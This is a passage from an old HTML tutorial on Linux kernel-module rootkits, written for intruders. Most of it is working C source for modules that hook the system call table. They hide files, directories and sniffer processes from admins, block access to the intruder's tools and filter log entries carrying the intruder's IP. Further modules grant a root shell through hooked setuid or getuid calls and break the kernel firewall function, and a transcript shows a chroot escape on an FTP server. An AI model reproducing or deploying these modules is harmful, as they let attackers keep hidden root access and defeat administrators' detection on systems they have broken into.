- The hardest problem is an admin writing its own applications for checking system
- integrity / security. The problem concerning those programs is the lack of source
- code. We cannot say how this program exactly works and which systemcalls we have
- to intercept in order to hide our presents / tools. It may even be possible that
- he introduced a LKM hiding itself which implements cool hacker-like systemcalls
- for checking the system security (the admins often use hacker techniques to defend
- their system...). So how do we proceed.<br>
- <H4><A NAME="II.2.1."></A>2.1 Finding interesting systemcalls (the strace approach)</h4>
- Let's say you know the super-admin program used to check the system (this can
- be done in some ways,like TTY hijacking (see II.9 / Appendix A), the only problem
- is that you need to hide your presents from the super-admin program until that
- point..).<br>
- So run the program (perhaps you have to be root to execute it) using strace.
- <xmp>
- # strace super_admin_proggy
- </xmp>
- This will give you a really nice output of every systemcall made by that program
- including the systemcalls which may be added by the admin through his hacking
- LKM (could be possible). I don't have a super-admin-proggy for showing you a
- sample output, but take a look at the output of 'strace whoami' :<vr>
- <xmp>
- execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
- mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000
- mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
- mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
- stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
- open("/etc/ld.so.cache", O_RDONLY) = 3
- mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
- close(3) = 0
- stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory)
- open("/lib/libc.so.5", O_RDONLY) = 3
- read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
- mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
- mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000
- mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000
- mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
- close(3) = 0
- mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
- munmap(0x40008000, 13363) = 0
- mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
- mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
- mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
- personality(PER_LINUX) = 0
- geteuid() = 500
- getuid() = 500
- getgid() = 100
- getegid() = 100
- brk(0x804aa48) = 0x804aa48
- brk(0x804b000) = 0x804b000
- open("/usr/share/locale/locale.alias", O_RDONLY) = 3
- fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
- mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000
- read(3, "# Locale name alias data base\n#"..., 4096) = 2005
- brk(0x804c000) = 0x804c000
- read(3, "", 4096) = 0
- close(3) = 0
- munmap(0x40008000, 4096) = 0
- open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory)
- open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
- fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
- mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
- close(3) = 0
- geteuid() = 500
- open("/etc/passwd", O_RDONLY) = 3
- fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
- mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
- read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
- close(3) = 0
- munmap(0x4000b000, 4096) = 0
- fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
- mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000
- write(1, "r00t\n", 5r00t
- ) = 5
- _exit(0) = ?
- </xmp>
- This is a very nice listing of all systamcalls made by the command 'whoami',
- isn't it ? There are 4 interesting systemcalls to intercept in order to
- manipulate the output of 'whoami'
- <xmp>
- geteuid() = 500
- getuid() = 500
- getgid() = 100
- getegid() = 100
- </xmp>
- Take a look at II.6 for an implementation of that problem. This way of analysing
- programs is also very important for a quick look at other standard tools.<br>
- I hope you are now able to find any systemcall which can help you to hide
- yourself or just to backdoor the system, or whatever you want.
- <H3><A NAME="II.3."></A>3. Confusing the kernel's System Table</h3>
- In II.1 you saw how to access the sys_call_table, which is exported through the
- kernel symbol table. Now think about this... We can modify <i>any</i> exported item
- (functions, structures, variables, for example) by accessing them within our
- module.<br>
- Anything listed in /proc/ksyms can be corrupted. Remember that our module cannot
- be compromised that way, because we don't export any symbols. Here is a little
- excerpt from my /proc/ksyms file, just to show you what you can actually modify.
- <xmp>
- ...
- 001bf1dc ppp_register_compressor
- 001bf23c ppp_unregister_compressor
- 001e7a10 ppp_crc16_table
- 001b9cec slhc_init
- 001b9ebc slhc_free
- 001baa20 slhc_remember
- 001b9f6c slhc_compress
- 001ba5dc slhc_uncompress
- 001babbc slhc_toss
- 001a79f4 register_serial
- 001a7b40 unregister_serial
- 00109cec dump_thread
- 00109c98 dump_fpu
- 001c0c90 __do_delay
- 001c0c60 down_failed
- 001c0c80 down_failed_interruptible
- 001c0c70 up_wakeup
- 001390dc sock_register
- 00139110 sock_unregister
- 0013a390 memcpy_fromiovec
- 001393c8 sock_setsockopt
- 00139640 sock_getsockopt
- 001398c8 sk_alloc
- 001398f8 sk_free
- 00137b88 sock_wake_async
- 00139a70 sock_alloc_send_skb
- 0013a408 skb_recv_datagram
- 0013a580 skb_free_datagram
- 0013a5cc skb_copy_datagram
- 0013a60c skb_copy_datagram_iovec
- 0013a62c datagram_select
- 00141480 inet_add_protocol
- 001414c0 inet_del_protocol
- 001ddd18 rarp_ioctl_hook
- 001bade4 init_etherdev
- 00140904 ip_rt_route
- 001408e4 ip_rt_dev
- 00150b84 icmp_send
- 00143750 ip_options_compile
- 001408c0 ip_rt_put
- 0014faa0 arp_send
- 0014f5ac arp_bind_cache
- 001dd3cc ip_id_count
- 0014445c ip_send_check
- 00142bc0 ip_forward
- 001dd3c4 sysctl_ip_forward
- 0013a994 register_netdevice_notifier
- 0013a9c8 unregister_netdevice_notifier
- 0013ce00 register_net_alias_type
- 0013ce4c unregister_net_alias_type
- 001bb208 register_netdev
- 001bb2e0 unregister_netdev
- 001bb090 ether_setup
- 0013d1c0 eth_type_trans
- 0013d318 eth_copy_and_sum
- 0014f164 arp_query
- 00139d84 alloc_skb
- 00139c90 kfree_skb
- 00139f20 skb_clone
- 0013a1d0 dev_alloc_skb
- 0013a184 dev_kfree_skb
- 0013a14c skb_device_unlock
- 0013ac20 netif_rx
- 0013ae0c dev_tint
- 001e6ea0 irq2dev_map
- 0013a7a8 dev_add_pack
- 0013a7e8 dev_remove_pack
- 0013a840 dev_get
- 0013b704 dev_ioctl
- 0013abfc dev_queue_xmit
- 001e79a0 dev_base
- 0013a8dc dev_close
- 0013ba40 dev_mc_add
- 0014f3c8 arp_find
- 001b05d8 n_tty_ioctl
- 001a7ccc tty_register_ldisc
- 0012c8dc kill_fasync
- 0014f164 arp_query
- 00155ff8 register_ip_masq_app
- 0015605c unregister_ip_masq_app
- 00156764 ip_masq_skb_replace
- 00154e30 ip_masq_new
- 00154e64 ip_masq_set_expire
- 001ddf80 ip_masq_free_ports
- 001ddfdc ip_masq_expire
- 001548f0 ip_masq_out_get_2
- 001391e8 register_firewall
- 00139258 unregister_firewall
- 00139318 call_in_firewall
- 0013935c call_out_firewall
- 001392d4 call_fw_firewall
- ...
- </xmp>
- Just look at call_in_firewall, this is a function used by the firewall management
- in the kernel. What would happen if we replace this function with a bogus one ?<br>
- Take a look at the following LKM :
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- /*get the exported function*/
- extern int *call_in_firewall;
- /*our nonsense call_in_firewall*/
- int new_call_in_firewall()
- {
- return 0;
- }
- int init_module(void) /*module setup*/
- {
- call_in_firewall=new_call_in_firewall;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- }
- </xmp>
- Compile / load this LKM and do a 'ipfwadm -I -a deny'. After this do a 'ping
- 127.0.0.1', your kernel will produce a nice error message, because the called
- call_in_firewall(...) function was replaced by a bogus one (you may skip the
- firewall installation in this example).<br>
- This is a quite brutal way of killing an exported symbol. You could also
- disassemble (using gdb) a certain symbol and modify certain bytes which will
- change the working of that symbol. Imagine there is a IF THEN contruction used
- in an exported function. How about disassembling this function and searching for
- commands like JNZ, JNE, ... This way you would be able to patch important items.
- Of course, you could lookup the functions in the kernel / module sources, but
- what about symbols you cannot get the source for because you only got a binary
- module. Here the disassembling is quite interesting.<br>
- <H3><A NAME="II.4."></A>4. Filesystem related Hacks</h3>
- The most important feature of LKM hacking is the abilaty to hide some items
- (your exploits, sniffer (+logs), and so on) in the local filesystem.
- <H4><A NAME="II.4.1."></A>4.1 How to Hide Files</h4>
- Imagine how an admin will find your files : He will use 'ls' and see everything.
- For those who don't know it, strace'in through 'ls' will show you that the
- systemcall used for getting directory listings is
- <xmp>
- int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count);
- </xmp>
- So we know where to attack.The following piece of code shows the hacked_getdents
- systemcall adapted from AFHRM (from Michal Zalewski). This module is able to
- hide any file from 'ls' and <i>every</i> program using getdents systemcall.
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_getdents) (uint, struct dirent *, uint);
- int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- unsigned int tmp, n;
- int t, proc = 0;
- struct inode *dinode;
- struct dirent *dirp2, *dirp3;
- char hide[]="ourtool"; /*the file to hide*/
- /*call original getdents -> result is saved in tmp*/
- tmp = (*orig_getdents) (fd, dirp, count);
- /*directory cache handling*/
- /*this must be checked because it could be possible that a former getdents
- put the results into the task process structure's dcache*/
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
- /*dinode is the inode of the required directory*/
- if (tmp > 0)
- {
- /*dirp2 is a new dirent structure*/
- dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
- /*copy original dirent structure to dirp2*/
- memcpy_fromfs(dirp2, dirp, tmp);
- /*dirp3 points to dirp2*/
- dirp3 = dirp2;
- t = tmp;
- while (t > 0)
- {
- n = dirp3->d_reclen;
- t -= n;
- /*check if current filename is the name of the file we want to hide*/
- if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL)
- {
- /*modify dirent struct if necessary*/
- if (t != 0)
- memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
- else
- dirp3->d_off = 1024;
- tmp -= n;
- }
- if (dirp3->d_reclen == 0)
- {
- /*
- * workaround for some shitty fs drivers that do not properly
- * feature the getdents syscall.
- */
- tmp -= t;
- t = 0;
- }
- if (t != 0)
- dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
- }
- memcpy_tofs(dirp, dirp2, tmp);
- kfree(dirp2);
- }
- return tmp;
- }
- int init_module(void) /*module setup*/
- {
- orig_getdents=sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents]=hacked_getdents;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_getdents]=orig_getdents;
-
- }
- </xmp>
- For beginners : read the comments and use your brain for 10 mins. <br>
- After that continue reading.<br>
- This hack is really helpful. But remember that the admin can see your file by
- directly accessing it. So a 'cat ourtool' or 'ls ourtool' will show him our
- file. So never take any trivial names for your tools like sniffer, mountdxpl.c,
- .... Of course their are ways to prevent an admin from reading our files, just
- read on.<br>
- <H4><A NAME="II.4.2."></A>4.2 How to hide the file contents (totally)</h4>
- I never saw an implementation really doing this. Of course their are LKMs like
- AFHRM by Michal Zalewski controlling the contents / delete functions but not
- really hiding the contents. I suppose their are lots of people actually using
- methods like this, but no one wrote on it, so I do.<br>
- It should be clear that there are many ways of doing this. The first way is
- very simple,just intercept an open systemcall checking if filename is 'ourtool'.
- If so deny any open-attempt, so no read / write or whatever is possible. Let's
- implement that LKM :<br>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_open)(const char *pathname, int flag, mode_t mode);
- int hacked_open(const char *pathname, int flag, mode_t mode)
- {
- char *kernel_pathname;
- char hide[]="ourtool";
-
- /*this is old stuff -> transfer to kernel space*/
- kernel_pathname = (char*) kmalloc(256, GFP_KERNEL);
- memcpy_fromfs(kernel_pathname, pathname, 255);
- if (strstr(kernel_pathname, (char*)&hide ) != NULL)
- {
- kfree(kernel_pathname);
- /*return error code for 'file does not exist'*/
- return -ENOENT;
- }
- else
- {
- kfree(kernel_pathname);
- /*everything ok, it is not our tool*/
- return orig_open(pathname, flag, mode);
- }
- }
- int init_module(void) /*module setup*/
- {
- orig_open=sys_call_table[SYS_open];
- sys_call_table[SYS_open]=hacked_open;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_open]=orig_open;
- }
- </xmp>
- This works very fine, it tells anyone trying to access our files, that they
- are non-existent. But how do we access those files. Well there are many ways
- <ul>
- <li>implement a magic-string<br>
- <li>implement uid or gid check (requires creating a certain account)<br>
- <li>implement a time check<br>
- <li>...<br>
- </ul>
- There are thousands of possibilies which are all very easy to implement, so I
- leave this as an exercise for the reader.
- <H4><A NAME="II.4.3."></A>4.3 How to hide certain file parts (a prototype implementation)</h4>
- Well the method shown in 3.2 is very useful for our own tools / logs. But
- what about modifying admin / other user files. Imagine you want to control
- /var/log/messages for entries concerning your IP address / DNS name. We all
- know thousands of backdoors hiding our identity from any important logfile.
- But what about a LKM just filtering every string (data) written to a file. If
- this string contains any data concerning our identity (IP address, for example)
- we deny that write (we will just skip it/return). The following implementation
- is a very (!!) basic prototype (!!) LKM, just for showing it. I never saw it
- before, but as in 3.2 there may be some people using this since years.
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_write)(unsigned int fd, char *buf, unsigned int count);
- int hacked_write(unsigned int fd, char *buf, unsigned int count)
- {
- char *kernel_buf;
- char hide[]="127.0.0.1"; /*the IP address we want to hide*/
-
- kernel_buf = (char*) kmalloc(1000, GFP_KERNEL);
- memcpy_fromfs(kernel_buf, buf, 999);
- if (strstr(kernel_buf, (char*)&hide ) != NULL)
- {
- kfree(kernel_buf);
- /*say the program, we have written 1 byte*/
- return 1;
- }
- else
- {
- kfree(kernel_buf);
- return orig_write(fd, buf, count);
- }
- }
- int init_module(void) /*module setup*/
- {
- orig_write=sys_call_table[SYS_write];
- sys_call_table[SYS_write]=hacked_write;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_write]=orig_write;
- }
- </xmp>
- This LKM has several disadvantages, it does not check for the destination it
- the write is used on (can be checked via fd; read on for a sample). This means
- the even a 'echo '127.0.0.1'' will be printed.<br>
- You can also modify the string which should be written, so that it shows an IP
- address of someone you really like... But the general idea should be clear.<br>
- <H4><A NAME="II.4.4."></A>4.4 How to redirect / monitor file operations</h4>
- This idea is old, and was first implemented by Michal Zalewski in AFHRM.
- I won't show any code here, because it is too easy to implemented (after
- showing you II.4.3/II.4.2).There are many things you can monitor by redirection/
- filesystem events :
- <ul>
- <li>someone writes to a file -> copy the contents to another file
- =>this can be done with sys_write(...) redirection<br>
- <li>someone was able to read a sensitve file -> monitor file reading of certain
- files<br>
- =>this can be done with sys_read(...) redirection<br>
- <li>someone opens a file -> we can monitor the whole system for such events<br>
- =>intercept sys_open(...) and write files opened to a logfile; this is
- the ways AFHRM monitors the files of a system (see IV.3 for source)<br>
- <li>link / unlink events -> monitor every link created<br>
- =>intercept sys_link(...) (see IV.3 for source)<br>
- <li>rename events -> monitor every file rename event<br>
- =>intercept sys_rename(...) (see IV.4 for source)<br>
- <li>...<br>
- </ul>
- These are very interesting points (especially for admins) because you can
- monitor a whole system for file changes. In my opinion it would also be
- interesting to monitor file / directory creations, which use commands like
- 'touch' and 'mkdir'.<br>
- The command 'touch' (for example) does <i>not</i> use open for the creation process;
- a strace shows us the following listing (excerpt) :
- <xmp>
- ...
- stat("ourtool", 0xbffff798) = -1 ENOENT (No such file or directory)
- creat("ourtool", 0666) = 3
- close(3) = 0
- _exit(0) = ?
- </xmp>
- As you can see the system uses the systemcall sys_creat(..) to create new files.
- I think it is not necessary to present a source,because this task is too trivial
- just intercept sys_creat(...) and write every filename to logfile with
- printk(...).<br>
- This is the way AFHRM logs any important events.
- <H4><A NAME="II.4.5."></A>4.5 How to avoid any file owner problems</h4>
- This hack is not only filesystem related, it is also very important for general
- permission problems. Have a guess which systemcall to intercept.Phrack (plaguez)
- suggests hooking sys_setuid(...) with a magic UID. This means whenever a setuid
- is used with this magic UID, the module will set the UIDs to 0 (SuperUser).<br>
- Let's look at his implementation(I will only show the hacked_setuid systemcall):
- <xmp>
- ...
- int hacked_setuid(uid_t uid)
- {
- int tmp;
-
- /*do we have the magic UID (defined in the LKM somewhere before*/
- if (uid == MAGICUID) {
- /*if so set all UIDs to 0 (SuperUser)*/
- current->uid = 0;
- current->euid = 0;
- current->gid = 0;
- current->egid = 0;
- return 0;
- }
- tmp = (*o_setuid) (uid);
- return tmp;
- }
- ...
- </xmp>
- I think the following trick could also be very helpful in certain situation.
- Imagine the following situation: You give a bad trojan to an (very silly) admin;
- this trojan installs the following LKM on that system [i did not implement hide
- features, just a prototype of my idea] :<vr>
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- extern void* sys_call_table[];
- int (*orig_getuid)();
- int hacked_getuid()
- {
- int tmp;
-
- /*check for our UID*/
- if (current->uid=500) {
- /*if its our UID -> this means we log in -> give us a rootshell*/
- current->uid = 0;
- current->euid = 0;
- current->gid = 0;
- current->egid = 0;
- return 0;
- }
- tmp = (*orig_getuid) ();
- return tmp;
- }
- int init_module(void) /*module setup*/
- {
- orig_getuid=sys_call_table[SYS_getuid];
- sys_call_table[SYS_getuid]=hacked_getuid;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_getuid]=orig_getuid;
- }
- </xmp>
- If this LKM is loaded on a system we are only a normal user, login will give us
- a nice rootshell (the current process has SuperUser rights). As I said in part
- I current points to the current task structure.
- <H4><A NAME="II.4.6."></A>4.6 How to make a hacker-tools-directory unaccessible</h4>
- For hackers it is often important to make the directory they use for their tools
- (<i>advanced</i> hackers don't use the regular local filesystem to store their data).
- Using the getdents approach helped us to hide directory/files. The open approach
- helped us to make our files unaccessible. But how to make our directory
- unaccessible ?<br>
- Well - as always - take a look at include/sys/syscall.h; you should be able to
- figure out SYS_chdir as the systemcall we need (for people who don't believe it
- just strace the 'cd' command...). This time I won't give you any source, because
- you just need to intercept sys_mkdir, and make a string comparison. After this
- you should make a regular call (if it is not our directory) or return ENOTDIR
- (standing for 'there exists no directory with that name'). Now your tools should
- really be hidden from intermediate admins (advanced / paranoid ones will scan
- the HDD at its lowest level, but who is paranoid today besides us ?!). It should
- also be possible to defeat this HDD scan, because everything is based on
- systemcalls.<br>
- <H4><A NAME="II.4.7."></A>4.7 How to change CHROOT Environments </h4>
- This idea is totally taken from HISPAHACK (hispahack.ccc.de). They published a
- real good text on that theme ('Restricting a restricted FTP'). I will explain
- their idea in some short words. Please note that the following example will
- <i>not</i> work anymore, it is quite old (see wu-ftpd version). I just show
- it in order to explain how you can escape from chroot environments using LKMs.
- The following text is based on old software (wuftpd) so don't try to use it in newer
- wu-ftpd versions, it <i>won't</i> work.<br>
- HISPAHACK's paper is based on the idea of an restricted user FTP account which has the
- following permission layout :<br>
- <xmp>
- drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/
- drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/
- </xmp>
- This scenario (which you can often find) the user (we) can rename the bin
- directory, because it is in our home directory.<br>
- Before doing anything like that let's take a look at whe working of wu.ftpd
- (the server they used for explanation, but the idea is more general). If we
- issue a LIST command ../bin/ls will be executed with UID=0 (EUID=user's uid).
- Before the execution is actually done wu.ftpd will use chroot(...) in order to
- set the process root directory in a way we are restricted to the home directory.
- This prevents us from accessing other parts of the filesystem via our FTP account
- (restricted).<br>
- Now imagine we could replace /bin/ls with another program, this program would
- be executed as root (uid=0). But what would we win, we cannot access the whole
- system because of the chroot(...) call. This is the point where we need a LKM
- helping us. We remove .../bin/ls with a program which loads a LKM supplied by
- us. This module will intercept the sys_chroot(...) systemcall. It must be
- changed in way it will no more restrict us. <br>
- This means we only need to be sure that sys_chroot(...) is doing nothing.
- HISPAHACK used a very radical way, they just modified sys_chroot(...) in a way
- it only returns 0 and nothing more. After loading this LKM you can spawn a new
- process without being restricted anymore. This means you can access the whole
- system with uid=0. The following listing shows the example 'Hack-Session'
- published by HISPAHACK :
- <xmp>
- thx:~# ftp
- ftp> o ilm
- Connected to ilm.
- 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready.
- Name (ilm:root): user
- 331 Password required for user.
- Password:
- 230 User user logged in. Access restrictions apply.
- Remote system type is UNIX.
- Using binary mode to transfer files.</TT></PRE>
- ftp> ls
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for /bin/ls.
- total 5
- drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
- drwxr-xr-x 5 user users 1024 Jun 21 11:26 ..
- d--x--x--x 2 root root 1024 Jun 21 11:26 bin
- drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
- drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
- 226 Transfer complete.
- ftp> cd ..
- 250 CWD command successful.
- ftp> ls
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for /bin/ls.
- total 5
- drwxr-xr-x 5 user users 1024 Jun 21 11:26 .
- drwxr-xr-x 5 user users 1024 Jun 21 21:26 ..
- d--x--x--x 2 root root 1024 Jun 21 11:26 bin
- drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc
- drwxr-xr-x 2 user users 1024 Jun 21 11:26 home
- 226 Transfer complete.
- ftp> ls bin/ls
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for /bin/ls.
- ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls
- 226 Transfer complete.
- ftp> ren bin bin.old
- 350 File exists, ready for destination name
- 250 RNTO command successful.
- ftp> mkdir bin
- 257 MKD command successful.
- ftp> cd bin
- 250 CWD command successful.
- ftp> put ls
- 226 Transfer complete.
- ftp> put insmod
- 226 Transfer complete.
- ftp> put chr.o
- 226 Transfer complete.
- ftp> chmod 555 ls
- 200 CHMOD command successful.
- ftp> chmod 555 insmod
- 200 CHMOD command successful.
- ftp> ls
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for /bin/ls.
- UID: 0 EUID: 1002
- Cambiando EUID...
- UID: 0 EUID: 0
- Cargando modulo chroot...
- Modulo cargado.
- 226 Transfer complete.
- ftp> bye
- 221 Goodbye.
- thx:~#
- --> now we start a new FTP session without being restricted (LKM is loaded so
- sys_chroot(...) is defeated. So do what you want (download passwd...)
- </xmp>
- In the Appendix you will find the complete source code for the new ls and the
- module.<br>
- <H3><A NAME="II.5."></A>5. Process related Hacks</h3>
- So far the filesystem is totally controlled by us. We discussed the most
- interesting 'Hacks'. Now its time to change the direction. We need to discuss
- LKMs confusing commands like 'ps' showing processes.
- <H4><A NAME="II.5.1."></A>5.1 How to hide any process</h4>
- The most important thing we need everyday is hiding a process from the admin.
- Imagine a sniffer, cracker (should normally not be done on hacked systems), ...
- seen by an admin when using 'ps'. Oldschool tricks like changing the name of the
- sniffer to something different, and hoping the admin is silly enough, are no good
- for the 21. century. We want to hide the process totally. So lets look at an
- implementation from plaguez (some very minor changes):
- <xmp>
- #define MODULE
- #define __KERNEL__
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <asm/unistd.h>
- #include <sys/syscall.h>
- #include <sys/types.h>
- #include <asm/fcntl.h>
- #include <asm/errno.h>
- #include <linux/types.h>
- #include <linux/dirent.h>
- #include <sys/mman.h>
- #include <linux/string.h>
- #include <linux/fs.h>
- #include <linux/malloc.h>
- #include <linux/proc_fs.h>
- extern void* sys_call_table[];
- /*process name we want to hide*/
- char mtroj[] = "my_evil_sniffer";
- int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);
- /*convert a string to number*/
- int myatoi(char *str)
- {
- int res = 0;
- int mul = 1;
- char *ptr;
- for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
- if (*ptr < '0' || *ptr > '9')
- return (-1);
- res += (*ptr - '0') * mul;
- mul *= 10;
- }
- return (res);
- }
- /*get task structure from PID*/
- struct task_struct *get_task(pid_t pid)
- {
- struct task_struct *p = current;
- do {
- if (p->pid == pid)
- return p;
- p = p->next_task;
- }
- while (p != current);
- return NULL;
- }
- /*get process name from task structure*/
- static inline char *task_name(struct task_struct *p, char *buf)
- {
- int i;
- char *name;
- name = p->comm;
- i = sizeof(p->comm);
- do {
- unsigned char c = *name;
- name++;
- i--;
- *buf = c;
- if (!c)
- break;
- if (c == '\\') {
- buf[1] = c;
- buf += 2;
- continue;
- }
- if (c == '\n') {
- buf[0] = '\\';
- buf[1] = 'n';
- buf += 2;
- continue;
- }
- buf++;
- }
- while (i);
- *buf = '\n';
- return buf + 1;
- }
- /*check whether we need to hide this process*/
- int invisible(pid_t pid)
- {
- struct task_struct *task = get_task(pid);
- char *buffer;
- if (task) {
- buffer = kmalloc(200, GFP_KERNEL);
- memset(buffer, 0, 200);
- task_name(task, buffer);
- if (strstr(buffer, (char *) &mtroj)) {
- kfree(buffer);
- return 1;
- }
- }
- return 0;
- }
- /*see II.4 for more information on filesystem hacks*/
- int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
- {
- unsigned int tmp, n;
- int t, proc = 0;
- struct inode *dinode;
- struct dirent *dirp2, *dirp3;
- tmp = (*orig_getdents) (fd, dirp, count);
- #ifdef __LINUX_DCACHE_H
- dinode = current->files->fd[fd]->f_dentry->d_inode;
- #else
- dinode = current->files->fd[fd]->f_inode;
- #endif
- if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
- proc=1;
- if (tmp > 0) {
- dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
- memcpy_fromfs(dirp2, dirp, tmp);
- dirp3 = dirp2;
- t = tmp;
- while (t > 0) {
- n = dirp3->d_reclen;
- t -= n;
- if ((proc && invisible(myatoi(dirp3->d_name)))) {
- if (t != 0)
- memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
- else
- dirp3->d_off = 1024;
- tmp -= n;
- }
- if (t != 0)
- dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
- }
- memcpy_tofs(dirp, dirp2, tmp);
- kfree(dirp2);
- }
- return tmp;
- }
- int init_module(void) /*module setup*/
- {
- orig_getdents=sys_call_table[SYS_getdents];
- sys_call_table[SYS_getdents]=hacked_getdents;
- return 0;
- }
- void cleanup_module(void) /*module shutdown*/
- {
- sys_call_table[SYS_getdents]=orig_getdents;
- }
- </xmp>
- The code seems complicated, but if you know how 'ps' and every process analyzing
- tool works, it is really easy to understand. Commands like 'ps' do not use any
- special systemcall for getting a list of the current processes (there exists no
- systemcall doing this). By strace'in 'ps' you will recognize that it gets its
- information from the /proc/ directory. There you can find lots of directories
- with names only consisting of numbers. Those numbers are the PIDs of all running
- processes on that system. Inside these directories you find files which provide
- any information on that process.So 'ps' just does an 'ls' on /proc/; every number
- it finds stands for a PID it shows in its well-known listing. The information it
